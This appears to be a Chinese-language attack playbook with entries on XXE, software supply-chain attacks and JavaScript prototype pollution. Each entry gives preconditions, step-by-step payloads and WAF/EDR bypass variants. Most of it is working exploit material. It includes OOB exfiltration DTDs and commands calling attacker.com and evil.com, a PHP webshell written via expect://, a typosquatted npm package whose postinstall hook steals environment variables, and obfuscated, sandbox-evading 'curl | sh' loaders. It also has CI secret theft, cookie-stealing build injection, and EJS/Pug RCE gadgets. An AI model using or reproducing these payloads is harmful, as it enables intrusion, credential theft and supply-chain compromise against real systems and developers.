<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
WAF/EDR 绕过变体:
1. 参数实体 使用参数实体绕过
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>test</root>
2. 编码绕过 使用编码绕过
<?xml version="1.0" encoding="UTF-16"?>
使用不同编码绕过WAF
盲注XXE攻击 xxe-blind
无回显的XXE攻击技术
子类:盲注XXE · tags: xxe blind oob xml
前置条件: 存在XML解析;无直接回显
攻击链:
1. 1. 外部实体探测 使用外部实体探测
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/xxe">
]>
<foo>&xxe;</foo>
2. 2. 参数实体 使用参数实体
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
%xxe;
]>
<foo>test</foo>
3. 3. OOB外带数据 OOB外带文件内容
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
%xxe;
]>
<foo>test</foo>
# xxe.dtd内容
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
使用UTF-16编码XML文档
绕过WAF检测
XXE OOB外带攻击 xxe-oob
利用OOB技术外带XXE数据
子类:OOB外带 · tags: xxe oob exfiltration xml
前置条件: 存在XXE漏洞;可发起外部请求
攻击链:
1. 1. HTTP外带 HTTP外带数据
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo></foo>
# evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/log?data=%file;'>">
%eval;
%exfil;
2. 2. FTP外带 FTP外带数据
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo></foo>
# evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;
3. 3. DNS外带 DNS外带
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/log?file=/etc/passwd">
]>
<foo>&xxe;</foo>
# 或使用子域名
<!ENTITY xxe SYSTEM "http://filecontent.attacker.com/">
WAF/EDR 绕过变体:
1. 使用CDATA CDATA包装
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo><![CDATA[&xxe;]]></foo>
XXE+SSRF组合攻击 xxe-ssrf
利用XXE实现SSRF攻击
子类:XXE+SSRF · tags: xxe ssrf combination xml
前置条件: 存在XXE漏洞;内网可访问
攻击链:
1. 1. 扫描内网端口 扫描内网端口
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:22">
]>
<foo>&xxe;</foo>
# 批量扫描
<!ENTITY xxe SYSTEM "http://192.168.1.1:80">
<!ENTITY xxe SYSTEM "http://192.168.1.1:443">
2. 2. 访问内网服务
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/info">
]>
<foo>&xxe;</foo>
# 访问Redis
# 访问内部API
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
使用不同编码格式绕过IP过滤
XXE到RCE xxe-rce
利用XXE实现远程代码执行
子类:XXE到RCE · tags: xxe rce php expect
前置条件: 存在XXE漏洞;PHP expect扩展加载
攻击链:
1. 1. Expect扩展RCE 使用expect协议执行命令
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<foo>&xxe;</foo>
# 执行任意命令
<!ENTITY xxe SYSTEM "expect://id">
<!ENTITY xxe SYSTEM "expect://cat /etc/passwd">
2. 2. 写入WebShell
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php">
]>
<foo>&xxe;</foo>
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
使用Base64或其他编码绕过命令过滤
XXE文件读取 xxe-file-read
利用XXE读取服务器文件
子类:文件读取 · tags: xxe file read lfi
前置条件: 存在XXE漏洞;有文件读取权限
攻击链:
1. 1. 读取Linux文件 [linux] 读取Linux系统文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
# 其他敏感文件
file:///etc/shadow
file:///etc/hosts
file:///root/.ssh/id_rsa
file:///proc/self/environ
2. 2. 读取Windows文件 [windows] 读取Windows系统文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>
# 其他敏感文件
file:///c:/windows/system32/config/sam
file:///c:/users/administrator/.ssh/id_rsa
3. 3. 读取Web配置 读取Web应用配置
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<foo>&xxe;</foo>
# 常见配置文件
file:///var/www/html/wp-config.php
file:///app/.env
file:///app/config/database.yml
4. 4. 读取源代码 使用PHP Filter读取源码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>
WAF/EDR 绕过变体:
1. 使用参数实体 参数实体绕过
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY bar "%xxe;">
]>
<foo>&bar;</foo>
XXE外部DTD利用 xxe-dtd
利用外部DTD文件进行XXE攻击
子类:外部DTD · tags: xxe dtd external xml
前置条件: 存在XXE漏洞;可访问外部DTD
攻击链:
1. 1. 托管恶意DTD 创建恶意DTD文件
# 在攻击者服务器创建evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
2. 2. 引用外部DTD 引用外部DTD文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
3. 3. 多步骤外带 处理特殊字符
# evil.dtd - 多步骤外带
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "%start;%file;%end;">
4. 4. 错误消息泄露 错误消息外带
# 利用错误消息泄露数据
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
# 错误消息中会包含文件内容
WAF/EDR 绕过变体:
1. 使用HTTPS HTTPS绕过
使用HTTPS托管DTD文件绕过HTTP过滤
XLSX文件XXE xxe-xlsx
利用XLSX文件进行XXE攻击
子类:XLSX文件XXE · tags: xxe xlsx excel office
前置条件: 应用解析XLSX文件;存在XXE漏洞
攻击链:
1. 1. 解压XLSX文件 解压XLSX文件
# XLSX本质是ZIP文件
unzip spreadsheet.xlsx
# 主要文件结构
xl/workbook.xml
xl/worksheets/sheet1.xml
xl/sharedStrings.xml
[Content_Types].xml
2. 2. 注入XXE Payload
# 修改xl/workbook.xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<workbook xmlns="...">
&xxe;
</workbook>
WAF/EDR 绕过变体:
1. 修改Content_Types 修改Content_Types
修改[Content_Types].xml注入XXE
DOCX文件XXE xxe-docx
利用DOCX文件进行XXE攻击
子类:DOCX文件XXE · tags: xxe docx word office
前置条件: 应用解析DOCX文件;存在XXE漏洞
攻击链:
1. 1. 解压DOCX文件 解压DOCX文件
# DOCX本质是ZIP文件
unzip document.docx
# 主要文件结构
word/document.xml
word/_rels/document.xml.rels
[Content_Types].xml
2. 2. 注入XXE Payload
# 修改word/document.xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:w="...">
<w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
</w:document>
WAF/EDR 绕过变体:
1. 修改关系文件 修改关系文件
修改_rels/.rels或document.xml.rels注入XXE
· 供应链攻击
NPM包名仿冒(Typosquatting) supply-typosquat
通过注册与流行NPM包名高度相似的恶意包(如lodash→1odash, colors→co1ors),诱导开发者误安装。恶意包在install/postinstall钩子中执行反弹Shell、窃取环境变量或植入后门。
子类:包管理器投毒 · tags: 供应链 NPM Typosquatting 包投毒 postinstall
前置条件: NPM账号;了解目标项目依赖;恶意包基础设施
攻击链:
1. 1. 侦察目标依赖 识别目标项目依赖的流行NPM包作为仿冒目标
# 分析目标项目的package.json
curl -s "https://raw.githubusercontent.com/{ORG}/{REPO}/main/package.json" | jq '.dependencies, .devDependencies'
# 查询高下载量包
npm search lodash --json | jq '.[0:5] | .[] | {name, description, version}'
2. 2. 生成仿冒包名 生成与目标包名相似的多种变体并检查可用性
# 常见Typosquatting变体生成
original="lodash"
echo "${original}" | python3 -c "
import sys
name=sys.stdin.read().strip()
# 字符替换: l->1, o->0
print(name.replace('l','1'))
# 连字符变体
print(name+'-utils')
print(name+'-js')
# 缺字/多字
print(name[:-1])
print(name+'s')
"
# 检查NPM可用性
for pkg in 1odash lodash-utils lodash-js lodas lodashs; do
npm view $pkg 2>/dev/null && echo "$pkg: TAKEN" || echo "$pkg: AVAILABLE"
done
3. 3. 构造恶意包 创建伪装成正常工具库的恶意NPM包,利用install钩子执行恶意代码
# package.json中植入postinstall钩子
{
"name": "1odash",
"version": "1.0.0",
"description": "Utility library for JavaScript",
"scripts": {
"preinstall": "node scripts/setup.js",
"postinstall": "node scripts/telemetry.js"
}
}
# scripts/telemetry.js —— 窃取环境变量
const https = require('https');
const data = JSON.stringify({
env: process.env,
cwd: process.cwd(),
hostname: require('os').hostname()
});
https.request({hostname:'evil.com',path:'/collect',method:'POST',headers:{'Content-Type':'application/json'}}, ()=>{}).end(data);
4. 4. 检测与取证 审计当前项目依赖的安全性,识别可疑install钩子和异常包
# 审计项目依赖安全
npm audit --json | jq '.vulnerabilities | to_entries[] | {name: .key, severity: .value.severity}'
# 检查postinstall钩子
find node_modules -name "package.json" -exec grep -l "postinstall\|preinstall" {} \;
# 对比lock文件完整性
npm ci --dry-run 2>&1 | grep -i "warn\|error"
# Socket.dev检测恶意包
npx socket info lodash
WAF/EDR 绕过变体:
1. 绕过NPM包安全检测 利用延迟执行、代码混淆和环境检测绕过自动化安全扫描
# 延迟执行避开沙箱检测
setTimeout(() => {
// 恶意代码在30秒后执行,绕过自动化分析超时
require('child_process').exec('curl evil.com/c | sh')
}, 30000);
# 代码混淆
const _0x4f2a=['\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
require(_0x4f2a[0]).exec('...');
# 环境检测——仅在CI/CD中触发
if(process.env.CI || process.env.GITHUB_ACTIONS) {
// 仅攻击CI/CD环境
}
CI/CD管道投毒 supply-ci-poison
通过恶意Pull Request、Actions注入或构建脚本篡改来攻击CI/CD管道。攻击者可窃取构建密钥、投毒构建产物或在部署流程中植入后门代码。
子类:CI/CD攻击 · tags: 供应链 CI/CD GitHub Actions Jenkins Pipeline
前置条件: 目标使用公开CI/CD;可提交PR或Fork
攻击链:
1. 1. 识别CI/CD配置 分析目标项目的CI/CD配置文件和密钥使用情况
# 搜索GitHub Actions配置
curl -s "https://api.github.com/repos/{ORG}/{REPO}/contents/.github/workflows" \
-H "Authorization: token {GITHUB_TOKEN}" | jq '.[].name'
# 分析工作流中的密钥使用
curl -s "https://raw.githubusercontent.com/{ORG}/{REPO}/main/.github/workflows/ci.yml" | grep -E "secrets\.|\$\{\{.*\}\}"
2. 2. PR触发的工作流注入 利用pull_request_target事件在主仓上下文中执行PR代码,窃取Secrets
# 恶意 .github/workflows/pr-check.yml
name: PR Check
on:
pull_request_target: # 危险:在主仓上下文执行
types: [opened, synchronize]
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: |
# PR中的代码在主仓权限下执行
echo ${{ secrets.DEPLOY_KEY }} | base64 -w0
curl -X POST -d @<(env) https://evil.com/collect
3. 3. Actions表达式注入 通过PR标题/Issue评论注入命令到GitHub Actions的run步骤中
# PR标题注入
# 创建标题为以下内容的PR:
# test`curl evil.com/s|sh`
# 工作流中若有如下写法则存在注入:
run: echo "Checking PR: ${{ github.event.pull_request.title }}"
# Issue评论注入
# 评论内容:
# "); curl evil.com/steal?token=$GITHUB_TOKEN #
# 注入点搜索
grep -rn '\${{.*github\.event\.' .github/workflows/
4. 4. 构建产物投毒 在构建过程中向产出物注入恶意代码(如Cookie窃取脚本)
# 篡改构建脚本注入后门
# 修改 package.json build脚本
"scripts": {
"build": "react-scripts build && node inject.js"
}
# inject.js——在构建产物中注入代码
const fs = require('fs');
const buildDir = './build/static/js';
fs.readdirSync(buildDir).filter(f=>f.endsWith('.js')).forEach(f => {
let code = fs.readFileSync(`${buildDir}/${f}`, 'utf8');
code += '\n;fetch("https://evil.com/log?c="+document.cookie);';
fs.writeFileSync(`${buildDir}/${f}`, code);
});
WAF/EDR 绕过变体:
1. 绕过GitHub Actions安全限制 通过间接触发、第三方Action和Python外带绕过日志审计和安全策略
# 使用workflow_dispatch间接触发
# 避免直接在PR中暴露恶意代码
on:
workflow_dispatch:
inputs:
cmd:
description: "Command"
required: true
steps:
- run: ${{ github.event.inputs.cmd }}
# 使用第三方Action作为跳板
- uses: malicious-org/innocent-name@main
# 恶意Action内部窃取secrets
# 环境变量泄露——避免直接echo
- run: |
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
依赖混淆攻击 supply-dependency-confusion
利用包管理器在公共注册表和私有注册表之间的解析优先级漏洞。当企业使用内部包名时,攻击者在公共NPM/PyPI注册更高版本号的同名包,包管理器会优先安装公共高版本包从而执行恶意代码。
子类:依赖混淆 · tags: 供应链 依赖混淆 NPM PyPI Dependency Confusion
前置条件: 已知目标内部包名;公共注册表账号
攻击链:
1. 1. 发现内部包名 从前端代码、泄露的lock文件和错误信息中发现目标使用的内部包名
# 从JavaScript源码中提取import路径
curl -s "https://{TARGET}/static/js/main.js" | grep -oP "require\([\x27\x22]@[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+[\x27\x22]\)" | sort -u
# 从package-lock.json泄露中搜索
curl -s "https://{TARGET}/package-lock.json" 2>/dev/null | jq 'keys'
# GitHub搜索私有包名
# 搜索: "@internal-company/" site:github.com
# 从错误页面/源码注释发现
curl -s "https://{TARGET}" | grep -oE "@[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+"
2. 2. 在公共注册表注册同名包 在NPM公共注册表发布与目标内部包同名但版本号更高的包
# 创建与内部包同名的公共包
mkdir dependency-confusion-test && cd dependency-confusion-test
npm init -y
# 设置超高版本号
npm version 99.0.0
# 添加无害的检测代码(非恶意)
cat > index.js << 'EOF'
const os = require("os");
const dns = require("dns");
const pkg = require("./package.json");
// 仅DNS回调确认安装——无数据外泄
dns.resolve(`${pkg.name}.${os.hostname()}.dep-test.example.com`, ()=>{});
EOF
npm publish --access public
3. 3. 监控DNS回调确认命中 监控DNS/HTTP回调确认目标环境安装了公共注册表上的恶意包
# 使用Burp Collaborator或自建DNS服务器监控
# Interactsh监控
interactsh-client -v 2>&1 | grep "dep-test"
# 自建DNS记录
sudo tcpdump -i eth0 port 53 -l | grep "dep-test"
# 也可通过HTTP回调
python3 -m http.server 8080 &
# 等待目标CI/CD管道安装包时触发回调
4. 4. 影响评估与报告 验证包管理器的解析优先级行为并评估影响范围
# 验证受影响的包管理器行为
# NPM: 默认优先公共高版本
npm install @target-corp/utils --registry https://registry.npmjs.org -dd 2>&1 | grep "resolved"
# Python/pip同理
pip install target-corp-utils --index-url https://pypi.org/simple/ -v 2>&1 | grep "Downloading"
# 检查是否配置了registry scope
npm config get @target-corp:registry
WAF/EDR 绕过变体:
1. 绕过包名注册限制 利用unscoped包名、跨包管理器和prerelease版本扩大攻击面
# 如果目标使用unscoped包名
# 直接注册同名公共包(无@scope前缀更容易混淆)
# 跨包管理器攻击
# 目标用NPM但也尝试PyPI
pip install target-internal-lib # pip没有scope概念
# 使用prerelease标签
npm version 99.0.0-alpha.1
# 某些配置会匹配 >=1.0.0 范围包括prerelease
· 原型链污染
服务端原型链污染到RCE proto-server-rce
通过污染JavaScript对象原型链(proto/constructor.prototype)注入恶意属性,在Node.js服务端利用child_process或EJS/Pug等模板引擎的gadget链实现远程代码执行。
子类:服务端利用 · tags: 原型链 Prototype Pollution RCE Node.js __proto__
前置条件: 目标使用Node.js;存在JSON合并/深拷贝操作;可控JSON输入
攻击链:
1. 1. 检测原型链污染点 通过__proto__和constructor.prototype两种方式测试是否存在原型链污染
# 发送__proto__污染测试
curl -X POST "https://{TARGET}/api/update" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "test123"}}'
# constructor方式
curl -X POST "https://{TARGET}/api/merge" \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"polluted": "test123"}}}'
# 验证污染是否成功(通过报错/行为变化)
curl "https://{TARGET}/api/debug" | grep "polluted"
2. 2. EJS模板引擎RCE Gadget 利用EJS模板引擎的outputFunctionName/escapeFunction gadget实现RCE
# EJS RCE gadget——污染outputFunctionName
curl -X POST "https://{TARGET}/api/settings" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id\");x"}}'
# 触发模板渲染
curl "https://{TARGET}/dashboard"
# EJS client参数RCE
curl -X POST "https://{TARGET}/api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "1;return process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
3. 3. Pug模板引擎RCE Gadget 利用Pug和Handlebars模板引擎的已知gadget链实现代码执行
# Pug/Jade RCE gadget——污染block属性
curl -X POST "https://{TARGET}/api/profile" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "val": "x]));process.mainModule.require(\"child_process\").execSync(\"curl evil.com/rce\");//"}}}'
# Handlebars RCE gadget
curl -X POST "https://{TARGET}/api/template" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowedProtoMethods": {"__defineGetter__": true}, "allowedProtoProperties": {"__defineGetter__": true}}}'
4. 4. 通用DoS/信息泄露Gadget 利用通用gadget造成DoS、状态码篡改、环境变量注入和任意文件读取
# 污染toString造成异常
{"__proto__": {"toString": null}}
# 污染status属性改变响应
{"__proto__": {"status": 500}}
# 污染环境变量注入
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/environ"}}}
# 污染shell属性(配合child_process.exec)
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\"))//"}}}
WAF/EDR 绕过变体:
1. 绕过__proto__关键字过滤 通过Unicode编码、constructor路径、嵌套对象和JSON5语法绕过__proto__过滤
# Unicode编码
{"\u005f\u005fproto\u005f\u005f": {"polluted": true}}
# constructor路径
{"constructor": {"prototype": {"polluted": true}}}
# 嵌套路径
{"a": {"__proto__": {"polluted": true}}}
# 使用JSON5语法(如果支持)
{__proto__: {polluted: true}}
# 数组原型污染
{"__proto__": [], "length": 1, "0": "exploit"}
客户端原型链污染到XSS proto-client-xss
通过URL参数、postMessage或DOM操作污染前端JavaScript原型链,利用jQuery/DOM操作库的gadget在客户端实现XSS。攻击者可通过精心构造的URL链接诱导受害者触发漏洞。
子类:客户端利用 · tags: 原型链 XSS 客户端 jQuery DOM Prototype Pollution
前置条件: 目标前端使用易受影响的JS库;存在URL参数到对象转换的逻辑
攻击链:
1. 1. 识别客户端污染源 通过URL参数和Hash片段测试前端原型链污染
# URL参数解析污染(常见于自定义query parser)
https://{TARGET}/page?__proto__[polluted]=test
https://{TARGET}/page?__proto__.polluted=test
https://{TARGET}/page?constructor[prototype][polluted]=test
# Hash片段污染
https://{TARGET}/page#__proto__[polluted]=test
# 验证:在控制台检查
console.log(({}).polluted); // 如果输出"test"则确认污染
2. 2. jQuery html() Gadget 利用jQuery的html()方法和$.extend()深拷贝实现XSS和属性注入
# 污染jQuery的innerHTML gadget
# Step 1: 污染原型
https://{TARGET}/page?__proto__[innerHTML]=<img/src=x onerror=alert(document.domain)>
# Step 2: 等待jQuery调用 $(element).html() 或 $.html()
# 当jQuery创建新元素时会读取innerHTML属性
# jQuery $.extend() 深拷贝污染
$.extend(true, {}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
// 之后所有 obj.isAdmin 都返回 true
3. 3. DOMPurify绕过Gadget 通过污染DOMPurify配置、Lodash template和传输URL实现XSS
# 污染DOMPurify配置实现XSS
# 绕过ALLOWED_TAGS
https://{TARGET}/page?__proto__[ALLOWED_ATTR][]=onerror&__proto__[ALLOWED_ATTR][]=src
# 污染sanitize行为
https://{TARGET}/page?__proto__[ALLOW_ARIA_ATTR]=1&__proto__[IS_ALLOWED_URI][]=javascript
# Lodash template gadget
# 如果使用 _.template 且选项被污染
https://{TARGET}/page?__proto__[sourceURL]=%22%0aalert(1)//
# 构造完整POC链接
https://{TARGET}/page?__proto__[transport_url]=javascript:alert(1)
4. 4. 自动化检测脚本 使用Puppeteer自动化检测前端页面的原型链污染漏洞
# PPScan——自动化客户端原型链污染检测
# 使用Puppeteer自动化测试
const puppeteer = require('puppeteer');
const browser = await puppeteer.launch();
const page = await browser.newPage();
// 注入检测脚本
await page.evaluateOnNewDocument(() => {
const marker = Math.random().toString(36);
Object.defineProperty(Object.prototype, '__pp_test__', {
set: function(v) { window.__ppDetected = true; }
});
});
await page.goto('https://{TARGET}/page?__proto__[__pp_test__]=1');
const detected = await page.evaluate(() => window.__ppDetected);
console.log('Prototype Pollution:', detected ? 'VULNERABLE' : 'NOT DETECTED');
WAF/EDR 绕过变体:
1. 绕过URL参数过滤 通过URL编码、constructor路径和嵌套结构绕过前端原型链污染过滤
# URL编码__proto__
?__%70roto__[xss]=test
?%5f%5fproto%5f%5f[xss]=test
# 使用constructor路径
?constructor[prototype][xss]=test
?constructor.prototype.xss=test
# 数组索引污染
?__proto__[0]=payload
# 多层嵌套
?a[__proto__][xss]=test
?a.b.__proto__.xss=test
原型链污染结合NoSQL注入 proto-nosql-injection
将原型链污染与MongoDB/NoSQL注入组合利用。通过污染查询对象的原型链属性,绕过认证逻辑或构造恶意查询条件,实现认证绕过和数据泄露。
子类:组合利用 · tags: 原型链 NoSQL MongoDB 认证绕过 组合攻击
前置条件: 目标使用MongoDB;存在原型链污染点;存在查询构造逻辑
攻击链:
1. 1. 识别MongoDB查询注入点 使用MongoDB操作符($ne/$regex/$gt)测试NoSQL注入实现认证绕过
# 测试NoSQL操作符注入
curl -X POST "https://{TARGET}/api/login" \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": ""}, "password": {"$ne": ""}}'
# $regex匹配
curl -X POST "https://{TARGET}/api/login" \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# $gt永真条件
curl -X POST "https://{TARGET}/api/login" \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$gt": ""}}'
2. 2. 原型链污染绕过查询校验 利用原型链污染注入MongoDB的$where条件绕过操作符过滤
# 场景:后端有操作符过滤
# if (hasOperator(input)) reject();
# 通过原型链污染注入$where
curl -X PATCH "https://{TARGET}/api/settings" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"$where": "function(){return true}"}}'
# 后续查询将继承$where条件
curl -X POST "https://{TARGET}/api/login" \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": "anything"}'
# 如果login查询使用了被污染的对象,$where永真条件导致认证绕过
3. 3. 布尔盲注提取数据 使用$regex盲注逐字符提取MongoDB中存储的密码
# 利用$regex逐字符提取管理员密码
import requests
import string
url = "https://{TARGET}/api/login"
password = ""
chars = string.ascii_letters + string.digits + string.punctuation
for i in range(32):
for c in chars:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{re.escape(c)}"}
}
r = requests.post(url, json=payload)
if r.status_code == 200 and "token" in r.text:
password += c
print(f"Found: {password}")
break
print(f"Admin password: {password}")
4. 4. 数据库枚举与导出 利用认证绕过后的管理员权限枚举和导出敏感数据
# 利用$func执行服务端JS(旧版MongoDB)
curl -X POST "https://{TARGET}/api/search" \
-H "Content-Type: application/json" \
-d '{"$where": "function(){return this.role==\"admin\"}"}'
# 利用已获取的认证绕过导出数据
curl -s "https://{TARGET}/api/users?limit=1000" \
-H "Authorization: Bearer {ADMIN_TOKEN}" | jq '.[].email'
# 检查MongoDB REST接口(如果暴露)
curl -s "https://{TARGET}:28017/" 2>/dev/null
curl -s "https://{TARGET}/api/db/_stats" 2>/dev/null
WAF/EDR 绕过变体:
1. 绕过NoSQL操作符过滤 通过Unicode编码、Content-Type切换和表单格式绕过NoSQL注入过滤
# Unicode编码操作符
{"username": "admin", "password": {"\u0024ne": ""}}
# 嵌套绕过
{"username": "admin", "password": {"$eq": {"$ne": ""}}}
# 利用Content-Type差异
# application/x-www-form-urlencoded
username=admin&password[$ne]=&password[$regex]=.*
# 数组注入
username=admin&password[0][$gt]=